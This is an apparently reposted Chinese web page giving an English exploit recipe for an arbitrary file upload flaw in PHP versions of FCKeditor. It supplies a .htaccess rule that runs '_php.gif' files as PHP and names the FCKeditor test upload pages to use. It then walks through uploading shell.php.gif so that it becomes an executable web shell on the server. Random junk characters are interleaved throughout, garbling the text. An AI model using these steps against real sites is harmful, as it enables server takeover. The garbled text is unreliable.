FCKeditor所有php版本Upload上传漏洞4 T# {, e" S B
作者：佚名 来源：本站整理 发布时间：2011-10-25 7:39:074 P* f( p0 {. r! _& X9 Q0 E
减小字体 增大字体- A( s$ K* R1 X0 u7 t/ b7 r
[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability
; j. i! K9 X9 e, {6 W& ?$ |[+] Date: 2011) {; Y/ U/ T6 m' E, ^+ r
[+] Author : sinesafe.cn
% ?& Y) k& [) G- X+ K d+ }[+] Website : WwW.sinesafe.cn
6 @; O& J; _: }3 \+ @4 A———————————————————
5 c+ l4 f3 P5 s5 k0 p; v1 k1.create a htaccess file:' M4 h% ]& m6 z8 E. D
code:- y4 L, q' R, A; G9 O
<FilesMatch “_php.gif”>
: A" q2 D q0 X% I+ [7 W: n- z2 t$ eSetHandler application/x-httpd-php' O$ R% D5 U+ V$ o" R6 I
</FilesMatch>" ^+ `# @7 L+ W- O* `1 U
$ A8 G$ X: |6 z8 K( S3 Y* ?2.Now upload this htaccess with FCKeditor.
, p: e- b% D$ U& D! p# G8 [! Z' k
http://www.sinesafe.cn/FCKeditor ... er/upload/test.html E" u4 R8 D' i
" \1 C7 j5 G! V( Q1 K& v4 S9 m! L
http://www.sinesafe.cn/FCKeditor ... onnectors/test.html3 V2 R1 ~, I. ]1 P/ m7 }6 K
) h, @3 f( g: v, u2 A# V; e
———————————————————————————————-
) g+ `; B! \) o9 a/ ^2 F3.Now upload shell.php.gif with FCKeditor.
6 z: m& s3 D! S1 b; b. a8 ]! ^4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically.3 }5 g& a1 _) A0 k
5.http://www.sinesafe.cn/anything/shell_php.gif# }# D, v# b% {+ Q* C
6.Now shell is available from server. |
- w" B. |5 l, I
% c6 W% F$ \0 g, R; A# J4 R7 q4 W0 \4 \, t+ T0 E6 d l t
|
发表于 2013-10-27 17:25:21
收藏
支持
反对